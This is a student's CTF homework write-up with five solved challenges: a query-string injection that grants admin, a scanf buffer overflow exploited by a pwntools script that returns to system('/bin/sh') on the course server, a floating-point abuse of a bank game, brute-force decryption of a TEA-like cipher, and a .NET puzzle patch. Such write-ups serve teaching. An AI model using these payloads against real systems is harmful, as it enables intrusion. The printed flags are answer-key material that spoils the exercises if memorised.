hw0 Writeup

School/Grade: 交大資科工所 碩一
Student ID: 309551004 (王冠中)
hw00 ctfd ID: aesophor

Web

There's a vulnerability in the following code snippet.

```
if (typeof username !== "string" || typeof cute !== "string" ||
    username === "" || !cute.match("(true|false)$")) {
        response.send({ error: "Whaaaat owo?" });
        return;
}
```

`!cute.match("(true|false)$")` only ensures that the `cute` parameter must end with either true or false, but it doesn't check the beginning of the string.

Therefore, we can inject our payload, `https://owohub.zoolab.org/auth?username=hehe&cute=true,"admin":true`, into the following string:

```
const userInfo = `{"username":"${username}","admin":false,"cute":${cute}}`;
```

which gives us the "admin" privilege.

```
const userInfo = `{"username":"hehe","admin":false,"cute":true,"admin":true}`;
```

The above string will be a part of another string, `api`. We can further inject more payload into the string above, which will be eventually injected to `api`.

```
const api = `http://127.0.0.1:9487/?data=${userInfo}&givemeflag=no`;
```

The full url to get the flag:

```
https://owohub.zoolab.org/auth?username=hehe&cute=
true,"admin":true}%26givemeflag=yes%23true
```

> Notes:
>
> 1. The extra `true` at the end let us slip through `!cute.match("(true|false)$")`.
> 2. `%26` = `&` and `%23` = `#`. These encoded characters must be used here, otherwise they won't be parsed as characters in the string.

Pwn

Reverse the ELF with Ghidra and we can spot there's a call to `scanf()`:

```
char * main(void)
{
    char *var_10h;

    setvbuf(_reloc.stdin, 0, 2, 0);
    setvbuf(_reloc.stdout, 0, 2, 0);
    setvbuf(_reloc.stderr, 0, 2, 0);
    printf("What is your name : ");
    __isoc99_scanf("%s", &var_10h);  // bof vuln
    printf("Hello, %s\n", &var_10h);
    return var_10h;
}
```

There's a buffer overflow vulnerability due to `scanf()`, so we can exploit it and overwrite the return address at $rbp+8.

```
─────────────────────────────────[ STACK ]──────────────────────────────────────
00:0000│ rax rsi rsp  0x7fffffffdd70 ◂— 'AAAAAAAA'
01:0008│              0x7fffffffdd78 ◂— 0x0
02:0010│ rbp          0x7fffffffdd80 —▸ 0x401280
03:0018│              0x7fffffffdd88 —▸ 0x7ffff7dfd152 (__libc_start_main+242)

-- trimmed --
```

So our payload will be `3 * b'AAAAAAAA' + addr`, but where should we return to?

We can return to `func1+43`, since it sets the `rdi` register to the address of "/bin/sh\x00" and then calls `system()`. This is equivalent to calling `system("/bin/sh");` in C language because the first 6 args of a function is passed by register (`rdi`, `rsi`, `rdx`, `rcx`, `r8`, `r9`) whereas all subsequent args are passed by stack (pushed onto the stack in reverse order).

```
pwndbg> disas func1
Dump of assembler code for function func1:
   0x0000000000401176 <+0>:     push   rbp
   0x0000000000401177 <+1>:     mov    rbp,rsp
   0x000000000040117a <+4>:     sub    rsp,0x10
   0x000000000040117e <+8>:     mov    rax,rax
   0x0000000000401181 <+11>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401185 <+15>:    movabs rax,0xcafecafecafecafe
   0x000000000040118f <+25>:    cmp    QWORD PTR [rbp-0x8],rax
   0x0000000000401193 <+29>:    jne    0x4011b7 <func1+65>
   0x0000000000401195 <+31>:    lea    rdi,[rip+0xe68]
   0x000000000040119c <+38>:    call   0x401030 <puts@plt>
   0x00000000004011a1 <+43>:    lea    rdi,[rip+0xe68]
   0x00000000004011a8 <+50>:    call   0x401040 <system@plt>
   0x00000000004011ad <+55>:    mov    edi,0x0
   0x00000000004011b2 <+60>:    call   0x401080 <exit@plt>
   0x00000000004011b7 <+65>:    lea    rdi,[rip+0xe5a]
   0x00000000004011be <+72>:    call   0x401030 <puts@plt>
   0x00000000004011c3 <+77>:    nop
   0x00000000004011c4 <+78>:    leave
```

```
   0x00000000004011c5 <+79>:    ret
End of assembler dump.
```

Therefore, our final payload will be:

```
3 * b'AAAAAAAA' + p64(0x4011a1)
```

Exploit

```
#!/usr/bin/env python3
# -*- encoding: utf-8 -*-

from pwn import *
context.log_level = 'debug'

# Byte sequence alias
A8 = 8 * b'A'


def main():
    payload = 3 * A8
    payload += p64(0x4011a1)

    proc = remote('hw00.zoolab.org', 65534)
    proc.recvuntil(':')
    proc.send(payload)
    proc.interactive()


if __name__ == '__main__':
    main()
```

Misc

Due to floating point precision error, I used the above input to get 3072 dollars at the end.

```
/home/aesophor/CTF/sp2020fall/hw0/misc [aesophor@allegro] [17:50]
> nc hw00.zoolab.org 65535
Welcome to Aquamarine bank! You can buy/loan and sell Aquamarine here.
The price of Aquamarine is fixed at 88.88 dollars. No bargaining!
If your balance >= 3000 dollars, you can get the flag!

Your Aquamarine: 0, balance: 0
How many Aquamarine stones do you want to buy/loan (positive) or sell (negative)?
(Remaining Aquamarine in stock: 100000000)
100000000
Your Aquamarine: 100000000, balance: -8.888e+09
How many Aquamarine stones do you want to buy/loan (positive) or sell (negative)?
(Remaining Aquamarine in stock: 0)
-999
Your Aquamarine: 99999001, balance: -8.88791e+09
How many Aquamarine stones do you want to buy/loan (positive) or sell (negative)?
(Remaining Aquamarine in stock: 999)
-999
Your Aquamarine: 99998002, balance: -8.88782e+09
How many Aquamarine stones do you want to buy/loan (positive) or sell (negative)?
(Remaining Aquamarine in stock: 1998)
-99998002
Your Aquamarine: 0, balance: 1024
How many Aquamarine stones do you want to buy/loan (positive) or sell (negative)?
(Remaining Aquamarine in stock: 100000000)
100000000
Your Aquamarine: 100000000, balance: -8.888e+09
How many Aquamarine stones do you want to buy/loan (positive) or sell (negative)?
(Remaining Aquamarine in stock: 0)
-999
Your Aquamarine: 99999001, balance: -8.88791e+09
How many Aquamarine stones do you want to buy/loan (positive) or sell (negative)?
(Remaining Aquamarine in stock: 999)
-999
Your Aquamarine: 99998002, balance: -8.88782e+09
How many Aquamarine stones do you want to buy/loan (positive) or sell (negative)?
(Remaining Aquamarine in stock: 1998)
-99998002
Your Aquamarine: 0, balance: 2048
How many Aquamarine stones do you want to buy/loan (positive) or sell (negative)?
(Remaining Aquamarine in stock: 100000000)
100000000
Your Aquamarine: 100000000, balance: -8.888e+09
How many Aquamarine stones do you want to buy/loan (positive) or sell (negative)?
(Remaining Aquamarine in stock: 0)
-999
Your Aquamarine: 99999001, balance: -8.88791e+09
How many Aquamarine stones do you want to buy/loan (positive) or sell (negative)?
(Remaining Aquamarine in stock: 999)
-999
Your Aquamarine: 99998002, balance: -8.88782e+09
How many Aquamarine stones do you want to buy/loan (positive) or sell (negative)?
(Remaining Aquamarine in stock: 1998)
-99998002
Wow! You have 3072 dollars!
Well done! Here is your flag: FLAG{floating_point_error_https://0.30000000000000004.
com/}
```

Crypto

If we carefully read the source code, we will find that v[0] uses v[1] to calculate the new v[0] instead of using the new v[1], so we can actually invert the encrypting process.

```
def _encrypt(v: typing.List[int], key: typing.List[int]):
    counter, delta, mask = 0, 0xFACEB00C, 0xffffffff
    for i in range(32):
        counter = counter + delta & mask
        v[0] = v[0] + ((v[1] << 4) + key[0] & mask ^
              (v[1] + counter) & mask ^ (v[1] >> 5) + key[1] & mask) & mask
        v[1] = v[1] + ((v[0] << 4) + key[2] & mask ^
              (v[0] + counter) & mask ^ (v[0] >> 5) + key[3] & mask) & mask
    return v
```

We will add up the counter 32 times, and then start subtracting it.

```
def get_delta():
    counter, delta, mask = 0, 0xFACEB00C, 0xffffffff
    deltas = []

    for i in range(32):
        counter = counter + delta & mask
        deltas.append(counter)
    return deltas
```

This is how we can invert the encrypting process.

```
def _decrypt(v, key):
    deltas = get_delta()
    mask = 0xffffffff
    for i in range(32):
        counter = deltas[31-i]
        v[1] = v[1] - ((v[0] << 4) + key[2] & mask ^
              (v[0] + counter) & mask ^ (v[0] >> 5) + key[3] & mask) & mask
        v[0] = v[0] - ((v[1] << 4) + key[0] & mask ^
              (v[1] + counter) & mask ^ (v[1] >> 5) + key[1] & mask) & mask
    return v
```

One last thing: If we use the correct `rand_seed`, then the key we generated using that seed will be the same as the key used to encrypt the flag. Therefore, we can simply bruteforce it.

```
if __name__ == '__main__':
    rand_seed = int(time.time())

    while True:
        random.seed(rand_seed)
        key = random.getrandbits(128).to_bytes(16, 'big')
        ans = decrypt(bytes.fromhex("77f905c39e36b5eb0deecbb4eb08e8cb"), key)

        if ans.lower().startswith(b'flag'):
            print(ans)
            sys.exit(0)
        else:
            rand_seed -= 1
```

Have a cup of coffee, and the flag will be printed out :D

Reverse

For this challenge, I used `dnSpy`, a tool to edit and debug .NET assemblies even if we don't have any source code available.

Initially, I tried to get the program to show the flag without putting all puzzle pieces in the correct positions, but it seems that the flag is reconstructed from the puzzle pieces, so we must ensure that all pieces are placed in the correct positions.

After exploring the source code for a little bit longer, I saw that the two puzzle pieces are swapped at the end of `Form1::Form1()` (ctor).

Comment out these two lines, re-compile this project, and the flag will be shown in a pop-up window.